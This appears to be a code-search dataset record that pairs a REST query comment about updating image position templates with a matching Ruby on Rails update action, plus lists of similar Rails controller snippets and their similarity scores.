"def create\n @page_template = PageTemplate.new(params[:page_template])\n\n respond_to do |format|\n if @page_template.save\n format.html { redirect_to @page_template, notice: 'Page template was successfully created.' }\n format.json { render json: @page_template, status: :created, location: @page_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @template = Template.find(params[:template_id])\n @template_parameter = @template.template_parameters.create(template_parameter_params)\n redirect_to template_path(@template)\n #@template_parameter = TemplateParameter.new(template_parameter_params)\n end",
"def pigeon_template\n pigeon_template = {}\n collect_pigeon_names(original_data).collect do |names|\n pigeon_template[names] = {}\n collect_attribute_labels(original_data).collect do |labels|\n pigeon_template[names][labels] = find_what_you_want(names, labels)\n end\n end \n pigeon_template \nend",
"def create\n @template = ::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @track_template = TrackTemplate.new(track_template_params)\n\n respond_to do |format|\n if @track_template.save\n format.html { redirect_to @track_template, notice: 'Track template was successfully created.' }\n format.json { render :show, status: :created, location: @track_template }\n else\n format.html { render :new }\n format.json { render json: @track_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @template_container = TemplateContainer.new(params[:template_container])\n @template_container = TemplateContainer.new(params[:template_container].merge({:user_id => current_user.id.to_s, :creationDate => Date.today.strftime('%Y-%m-%d'), :authors => current_user.login }))\n respond_to do |format|\n if @template_container.save\n @template_containers = TemplateContainer.find(:all, :conditions => 'user_id LIKE ' + current_user.id.to_s)\n # flash[:notice] = 'TemplateContainer was successfully created.'\n format.html { redirect_to('/') }\n # format.html render :update do |page|; page.replace_html('templateContainerList', :file => '/main/template_group_list.html.erb') ; end # :partial => '', :collection => @users } \n format.xml { render :xml => @template_container, :status => :created, :location => @template_container }\n format.js { render :layout => false } # render :mime_type => Mime::Type.lookup(\"application/javascript\")\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @template_container.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def template_params\n params.require(:template).permit(:name, :content)\n end",
"def create_params\n { stack_name: stack.name }.merge(template_param).merge(options)\n end",
"def create_params\n { stack_name: stack.name }.merge(template_param).merge(options)\n end",
"def create\n @event = Event.find(params[:event_id])\n \n @event.score_template = ScoreTemplate.new(params[:score_template])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Score template was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_tips_picture\n @tips = Sprite.new(@viewport)\n @tips.bitmap = tip_bitmap(@picture.width * HELP_REDUCTION)\n @tips.x = P_X\n @tips.y = @picture.y - 24 / HELP_REDUCTION\n @tips.z = @picture.z + 1\n @tips.opacity = 0\n ratio = @picture.width.to_f / @tips.width\n @tips.zoom_x = ratio\n @tips.zoom_y = ratio\n end",
"def create\n @template = Template.new(template_params) \n respond_to do |format|\n if @template.save \n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cv_template = CvTemplate.new(cv_template_params)\n respond_to do |format|\n if @cv_template.save\n current_user.cv_templates << @cv_template\n format.html { redirect_to action: :index, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @cv_template }\n else\n format.html { render :new }\n format.json { render json: @cv_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(values)\n @client.call(method: :post, path: 'templates', body_values: values)\n end",
"def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @newsletters_template = Newsletters::Template.new(params[:newsletters_template])\n\n respond_to do |format|\n if @newsletters_template.save\n format.html { redirect_to @newsletters_template, notice: 'Template was successfully created.' }\n format.json { render json: @newsletters_template, status: :created, location: @newsletters_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newsletters_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @event_template = EventTemplate.new(event_template_params)\n\n respond_to do |format|\n if @event_template.save\n format.html { redirect_to @event_template, notice: \"Event template was successfully created.\" }\n format.json { render :show, status: :created, location: @event_template }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def character_template_params\n params.require(:character_template).permit(:id, :name, :description, :hero_class, :hp, :mp, :haste, :strength, :intellect, :agility, :main_param,\n image_attributes: [:id, :image_content, :type],\n resist_template_attributes: [:id, :physical, :fire, :water, :earth, :holy, :necrotic, :nature],\n attack_type_templates_attributes:[:id, :name, :desc, :target, :cost_type, :cost, :attack, :attack_type, :crit_chance, :crit_rate, :_destroy],\n bag_template_attributes: [:id, :gold,\n item_templates_attributes: [:id, :name, :description, :item_type, :strength, :intellect, :agility, :sell_cost, :buy_cost, :purchasable, :_destroy,\n image_attributes: [:id, :image_content, :type],\n resist_template_attributes: [:id, :physical, :fire, :water, :earth, :holy, :necrotic, :nature],\n attack_type_template_attributes: [:id, :name, :desc, :target, :cost_type, :cost, :attack, :attack_type, :crit_chance, :crit_rate, :_destroy]\n ]])\n end",
"def template_params\n params.require(:template).permit(:name, :body, :active_flg)\n end",
"def create\n @layout_template = LayoutTemplate.new(params[:layout_template])\n\n render :update do |page|\n if @layout_template.save\n page.insert_html :bottom, \"layout_templates\", :partial => \"layout_templates/row_form\",\n :locals =>{ :layout_template => @layout_template, :counter => (LayoutTemplate.count + 1) }\n# page.replace \"\"\n end\n end\n end",
"def template_params\n params.require(:template).permit(:name, :action)\n end",
"def template_params\n params.require(:template).permit(:name, :bgUrl, :accentColor, :headerColor, :linkColor, :unvisitedLinkColor, :darkClassColor)\n end",
"def create\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new(params[:admin_kpi_category_template])\n\n respond_to do |format|\n if @admin_kpi_category_template.save\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully created.' }\n format.json { render json: @admin_kpi_category_template, status: :created, location: @admin_kpi_category_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bulk_message_template = BulkMessageTemplate.new(params[:bulk_message_template])\n\n respond_to do |format|\n if @bulk_message_template.save\n format.html { redirect_to @bulk_message_template, notice: 'Bulk message template was successfully created.' }\n format.json { render json: @bulk_message_template, status: :created, location: @bulk_message_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bulk_message_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @map_image = MapImage.new(params[:map_image])\n\n respond_to do |format|\n if @map_image.save\n format.html { redirect_to(@map_image, :notice => 'Map image was successfully created.') }\n format.xml { render :xml => @map_image, :status => :created, :location => @map_image }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @map_image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n require 'RMagick'\n @images_added = []\n\n # params[:design_images] is set by a js library (Dropzone.js) and defined on dynamic_pages.js paramName\n params[:design_images].each do |array_file|\n\n # uploaded file example\n # {\"0\"=>#<ActionDispatch::Http::UploadedFile:0x007f88cf70b728 @tempfile=#<Tempfile:/var/folders/tx/fcpjq87x6b19sl3dvvm8fr040000gn/T/RackMultipart20150803-99318-18nmoiu.jpg>, @original_filename=\"10881656_10201963394846606_706439852029346946_n.jpg\", @content_type=\"image/jpeg\", @headers=\"Content-Disposition: form-data; name=\\\"singular_design[0]\\\"; filename=\\\"10881656_10201963394846606_706439852029346946_n.jpg\\\"\\r\\nContent-Type: image/jpeg\\r\\n\">, \"1\"=>#<ActionDispatch::Http::UploadedFile:0x007f88cf70b610 @tempfile=#<Tempfile:/var/folders/tx/fcpjq87x6b19sl3dvvm8fr040000gn/T/RackMultipart20150803-99318-1loctd5.jpg>, @original_filename=\"11062261_825163280904553_6934851262428256525_n.jpg\", @content_type=\"image/jpeg\", @headers=\"Content-Disposition: form-data; name=\\\"singular_design[1]\\\"; filename=\\\"11062261_825163280904553_6934851262428256525_n.jpg\\\"\\r\\nContent-Type: image/jpeg\\r\\n\">}\n\n uploaded_file = array_file.last\n\n # file checking (size and filetype)\n return false if !valid_img? uploaded_file\n\n # main image random filename\n random_filename = build_filename(uploaded_file)\n\n image = Magick::Image.from_blob(uploaded_file.read).first\n original_width = image.columns # columns are pixels\n original_height = image.rows # rows are pixels\n\n # just resize if image is larger in width\n image = image.resize_to_fit(2000, original_height) if original_width >= 2000\n image.write(Rails.root.join('public', 'assets', 'uploads','designs', random_filename))\n\n # thumbnail image random filename\n thumb_random_filename = build_filename(uploaded_file, true)\n thumbnail = image.resize_to_fill(250, 150)\n thumbnail.write(Rails.root.join('public', 'assets', 'uploads','designs', thumb_random_filename))\n\n # generating link for this new design\n random_link = SecureRandom.hex(4)\n\n while Design.exists?(link: random_link) == true do random_link = SecureRandom.hex(4) end\n\n @design = Design.new(user_id: current_user.id,\n link: random_link,\n image_path: random_filename,\n image_thumb_path: thumb_random_filename)\n\n @images_added << @design if @design.save\n end\n\n respond_to do |format|\n format.html { redirect_to :individuais }\n format.json { render json: @images_added }\n end\n end",
"def create\n @collage_template = CollageTemplate.new(params[:collage_template])\n # post = CollageTemplate.save(params[:collage_template])\n\n respond_to do |format|\n if @collage_template.save\n format.html { redirect_to(@collage_template, :notice => 'CollageTemplate was successfully created.') }\n format.xml { render :xml => @collage_template, :status => :created, :location => @collage_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @collage_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sets_template_params\n params.require(:sets_template).permit(:setNum, :weight, :reps, :exercise_template_id)\n end",
"def template_image=(filepath)\n @template_image = read_image(filepath)\n end"
] |
[
"0.63672435",
"0.6351562",
"0.6257164",
"0.61694825",
"0.6147034",
"0.57744765",
"0.5747771",
"0.56924856",
"0.5689383",
"0.56399775",
"0.5632281",
"0.5597104",
"0.55703723",
"0.55645263",
"0.54897726",
"0.54753214",
"0.54661465",
"0.54628426",
"0.5450453",
"0.54218036",
"0.5402649",
"0.53275114",
"0.5271737",
"0.5265894",
"0.52539384",
"0.5246957",
"0.5219557",
"0.5216689",
"0.51897365",
"0.5181802",
"0.51588964",
"0.51574916",
"0.5123199",
"0.51201415",
"0.5114728",
"0.5111642",
"0.51069134",
"0.50979567",
"0.5090915",
"0.5085793",
"0.50745153",
"0.50665975",
"0.5062382",
"0.50533026",
"0.50461197",
"0.50439304",
"0.5036934",
"0.50356823",
"0.5027177",
"0.50227433",
"0.50061494",
"0.5002855",
"0.5001191",
"0.49919334",
"0.49900654",
"0.49892285",
"0.49856156",
"0.4984779",
"0.49767435",
"0.49759084",
"0.49757108",
"0.49727497",
"0.49723426",
"0.497173",
"0.4971357",
"0.49703842",
"0.49679527",
"0.4966712",
"0.4958539",
"0.49559596",
"0.49531034",
"0.49524269",
"0.4951048",
"0.4933842",
"0.49309936",
"0.49214733",
"0.4918965",
"0.49162844",
"0.49162844",
"0.49150544",
"0.49140036",
"0.49093795",
"0.49073493",
"0.4894037",
"0.48853835",
"0.4884715",
"0.48785228",
"0.48737955",
"0.48683012",
"0.48658416",
"0.4865072",
"0.48642802",
"0.48636547",
"0.48635346",
"0.48606142",
"0.48605224",
"0.48518026",
"0.4846663",
"0.48455054",
"0.4845092"
] |
0.7288086
|
0
|
PUT /image_position_templates/1 PUT /image_position_templates/1.json
|
def update
@image_position_template = ImagePositionTemplate.find(params[:id])
respond_to do |format|
if @image_position_template.update_attributes(params[:image_position_template])
format.html { redirect_to @image_position_template, notice: 'Image position template was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @image_position_template.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_template_with_image_id(template)\n params = template.parameters\n params.each do |key, value|\n update_params_with_image_id(params, key, value)\n end\n end",
"def create\n @image_position_template = ImagePositionTemplate.new(params[:image_position_template])\n\n respond_to do |format|\n if @image_position_template.save\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully created.' }\n format.json { render json: @image_position_template, status: :created, location: @image_position_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_image_template\n @image_template = ImageTemplate.find(params[:id])\n end",
"def set_template_position\n @template_position = TemplatePosition.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @template_position.update(template_position_params)\n format.html { redirect_to @template_position, notice: 'Template position was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_position }\n else\n format.html { render :edit }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_positions\n params[\"edit_template_area_#{params[:id]}\"].each_with_index do |id, position|\n TemplateBox.update(id, :position => position)\n end\n init_template_areas\n #render :layout => false,\n # :partial => \"template_area\",\n # :object => @template_areas.find{|a| a.id == params[:id].to_i} #TODO Dry it\n flash[:notice] = \"Reihenfolge gespeichert\"\n render :update do |page|\n page.reload\n end\n end",
"def template_position_params\n params.require(:template_position).permit(:title, :price_item_id, :template_id, :template_item_id, :order)\n end",
"def new\n @image_position_template = ImagePositionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def set_template\n @template = Spree::Template.find(params[:id])\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # put\n end",
"def update\n update_elements if elements_params.present?\n @template.update(name: template_params[:name]) if template_params[:name].present?\n\n if @template.errors.empty?\n render :show, status: :ok, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @image_position_template = ImagePositionTemplate.find(params[:id])\n @image_position_template.destroy\n\n respond_to do |format|\n format.html { redirect_to image_position_templates_url }\n format.json { head :no_content }\n end\n end",
"def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end",
"def show\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def update\n @question_template = QuestionTemplate.find(params[:id])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n respond_to do |format|\n if @question_template.update_attributes(params[:question_template])\n @question_template.upload_files(params[:files].values)\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_params\n params.require(:template).permit(:name, :template_type, :template_sub_type, \n { uploaded_file_attributes: [:assets, :id] }, { thumbnail_image_attributes: [:assets, :id] } )\n end",
"def update_template_files(opts)\n template_id = opts.delete(:template_id)\n path = \"/template/update_files/#{template_id}\"\n prepare_files opts\n\n HelloSign::Resource::Template.new post(path, body: opts)\n end",
"def index\n @image_position_templates = ImagePositionTemplate.ordered\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_position_templates }\n end\n end",
"def create\n @template_position = TemplatePosition.new(template_position_params)\n\n respond_to do |format|\n if @template_position.save\n format.html { redirect_to @template_position, notice: 'Template position was successfully created.' }\n format.json { render :show, status: :created, location: @template_position }\n else\n format.html { render :new }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.folder = params[:mytemplate][:folder]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @status = args[:status] if args.key?(:status)\n @template_content = args[:template_content] if args.key?(:template_content)\n @template_name = args[:template_name] if args.key?(:template_name)\n @template_type = args[:template_type] if args.key?(:template_type)\n end",
"def update\n current_site.grid_templates.find(params[:id]).update(params.require(:grid_template).permit(:name, :description))\n index\n end",
"def update\n\n fullImage = params[:committee_position][:image_url].split('/')\n params[:committee_position][:image_url] = fullImage[fullImage.length-1]\n\n respond_to do |format|\n if @committee_position.update(committee_position_params)\n flash[:success] = \"Committee Position Updated.\"\n format.html { redirect_to committee_positions_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @committee_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_template }\n else\n format.html { render :edit }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_template(key, value)\n t = { key => value }\n raw = read_attribute(\"template\") \n d = raw.nil? ? {} : JSON.parse(raw) \n merged = d.deep_merge(t)\n self.template = JSON.generate(merged)\n self.save!\n end",
"def update\n puts template_params\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_template_photo\n @template_photo = TemplatePhoto.find(params[:id])\n end",
"def create\n @position = Position.new(position_params)\n respond_to do |format|\n if @position.save\n @position.create_images(params[:images]) if params[:images]\n format.html { redirect_to @position, notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, html_url, zip_url, screenshot_url)\n options = { :body => { \n :Name => name,\n :HtmlPageURL => html_url,\n :ZipFileURL => zip_url,\n :ScreenshotURL => screenshot_url }.to_json }\n response = CreateSend.put \"/templates/#{template_id}.json\", options\n end",
"def update\n\n uploaded_file = params[:custom_pet_template][:uploaded_file]\n if uploaded_file && (Dimensions.width(uploaded_file.tempfile) > 48 || Dimensions.width(uploaded_file.tempfile) > 48)\n flash[:alert] = \"Pet images cannot be larger than 48px x 48px\"\n render action: 'edit'\n return\n end\n\n respond_to do |format|\n if @custom_pet_template.update(custom_pet_template_params)\n @custom_pet_template.set_image(uploaded_file)\n format.html { redirect_to @custom_pet_template, notice: 'Custom pet template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @custom_pet_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @track_template.update(track_template_params)\n format.html { redirect_to @track_template, notice: 'Track template was successfully updated.' }\n format.json { render :show, status: :ok, location: @track_template }\n else\n format.html { render :edit }\n format.json { render json: @track_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def orgn_template_update\n @event.template_id = params[:template_id]\n\n if !params[:template_id]\n #redirect_to orgn_template_events_path, :flash => { :error => 'Select a template.' }\n flash[:alert] = 'Select a template.'\n render :action => :orgn_template\n return\n end\n \n @event.template_id = @event.template_id\n \n respond_to do |format|\n if @event.update(template_params)\n format.html { redirect_to event_invite_events_path }\n format.json { head :no_content }\n else\n format.html { redirect_to event_invite_events_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @template.update(template_params)\n params[:template_fields].each do |p|\n # name: p[0], val: p[1]\n field = Field.find_by(:code => p[0])\n tf = TemplateField.find_by(:field_id => field.id, :template_id => @template.id)\n tf.val = p[1]\n tf.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_updated') }\n else\n format.html { render :edit}\n end\n end\n end",
"def update\n @inventory_template = InventoryTemplate.find(params[:id])\n # @inventory_template.restaurant = current_owner.restaurant\n\n respond_to do |format|\n if @inventory_template.update_attributes(params[:inventory_template])\n format.html { redirect_to @inventory_template, notice: 'Inventory template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inventory_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_params\n { stack_name: stack.identifier }.merge(template_param).merge(options)\n end",
"def update_params\n { stack_name: stack.identifier }.merge(template_param).merge(options)\n end",
"def update\n @favorite_template.update(favorite_template_params)\n render json: @favorite_template\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to template_path(@template), notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @template.update(template_params)\n handle_save_success @template, :ok, t('templates.update_success')\n else\n handle_save_error @template.errors, :edit\n end\n end",
"def set_item_template\n @item_template = ItemTemplate.find(params[:id])\n end",
"def upload()\n obj = @mgr.s3res.bucket(@mgr[\"Bucket\"]).object(@s3key)\n @mgr.log(:info,\"Uploading cloudformation stack template #{@stackdef}:#{@filename} to s3://#{@mgr[\"Bucket\"]}/#{@s3key}\")\n template = @mgr.load_template(\"s3\", \"cfnput\")\n @mgr.symbol_keys(template)\n @mgr.resolve_vars(template, :api_template)\n params = template[:api_template]\n params[:body] = @raw\n obj.put(params)\n end",
"def update\n template = Template.find(params[:id])\n authorize template\n begin\n args = template_params\n # Swap in the appropriate visibility enum value for the checkbox value\n args[:visibility] = parse_visibility(args, current_user.org)\n template.assign_attributes(args)\n template.links = ActiveSupport::JSON.decode(params['template-links']) if params['template-links'].present?\n if template.save\n render(json: {\n status: 200,\n msg: success_message(template, _('saved'))\n })\n else\n render(json: {\n status: :bad_request,\n msg: failure_message(template, _('save'))\n })\n end\n rescue ActiveSupport::JSON.parse_error\n render(json: {\n status: :bad_request,\n msg: format(_('Error parsing links for a %{template}'),\n template: template_type(template))\n })\n nil\n rescue StandardError => e\n render(json: {\n status: :forbidden,\n msg: e.message\n }) and return\n end\n end",
"def save_template(instance_id, tmpl_name)\n resp = create_image(instance_id, tmpl_name)\n if resp.status == 200\n resp.body['image']['id']\n else\n # TODO raise specific exc\n raise \"Failed to save vm #{instance_id} as template\"\n end\n end",
"def update\n @template = @form_item.template\n respond_to do |format|\n if @form_item.update(form_item_params)\n format.html {\n anchor = \"itemid_#{ @form_item.id }\"\n redirect_to template_path(@template, anchor: anchor.to_sym), notice: 'Form item was successfully updated.'\n }\n format.json { render :show, status: :ok, location: @form_item }\n else\n format.html { render :edit }\n format.json { render json: @form_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_params\n params.require(:template).permit(:name, elements: [:type, :ordinal])\n end",
"def update\n respond_to do |format|\n if @template_photo.update(template_photo_params)\n format.html { redirect_to @template_photo, notice: 'Template photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_photo }\n else\n format.html { render :edit }\n format.json { render json: @template_photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_template.update(event_template_params)\n format.html { redirect_to @event_template, notice: \"Event template was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event_template }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @widget_template = WidgetTemplate.find(params[:id]) \n @widget_template.classtype = params[:widget_template][:classtype]\n @widget_template.name = params[:widget_template][:name]\n respond_to do |format|\n \n if @widget_template.save\n format.html { redirect_to @widget_template, notice: 'widget_template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @widget_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_template.update(product_template_params)\n format.html { redirect_to @product_template, notice: 'Product template was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_template }\n else\n format.html { render :edit }\n format.json { render json: @product_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_template\n @template = Template.find(params[:id])\n\n rescue ActiveRecord::RecordNotFound\n head 404\n end",
"def set_item_template\n @item_template = ItemTemplate.find(params[:id])\n end",
"def update\n Spree::Template.update_all(:selected => false)\n @template = Spree::Template.find(params[:id])\n @template.selected = true\n @template.theme_color = params[:template][:theme_color]\n @template.variant_display_type = params[:template][:variant_display_type]\n @template.is_allowed_custom_theme = params[:template][:is_allowed_custom_theme]\n \n respond_to do |format|\n if @template.save!\n format.html { redirect_to admin_templates_path, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@template.errors.full_messages.first}\"\n format.html { redirect_to admin_templates_path }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to email_templates_path, notice: 'template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \n if @question_template.update(question_template_params)\n format.html { redirect_to @question_template, notice: 'Question template was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_template }\n else\n format.html { render :edit }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @score_template = ScoreTemplate.find(params[:id])\n\n respond_to do |format|\n if @score_template.update_attributes(params[:score_template])\n format.html { redirect_to @score_template, notice: 'Score template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @custom_template.update custom_template_params\n redirect_to @custom_template\n else\n render 'edit'\n end\n end",
"def update\n @exercise_template = ExerciseTemplate.find(params[:id])\n\n if @exercise_template.update(exercise_template_params)\n head :no_content\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end",
"def set_template\n @template = ::Template.find(params[:id])\n end",
"def set_template\n end",
"def update\n respond_to do |format|\n if @attr_template.update(attr_template_params)\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @logistic_order_template.update(logistic_order_template_params)\n render :show, status: :ok, location: @logistic_order_template\n else\n render json: @logistic_order_template.errors, status: :unprocessable_entity\n end\n end",
"def update\n restricted\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
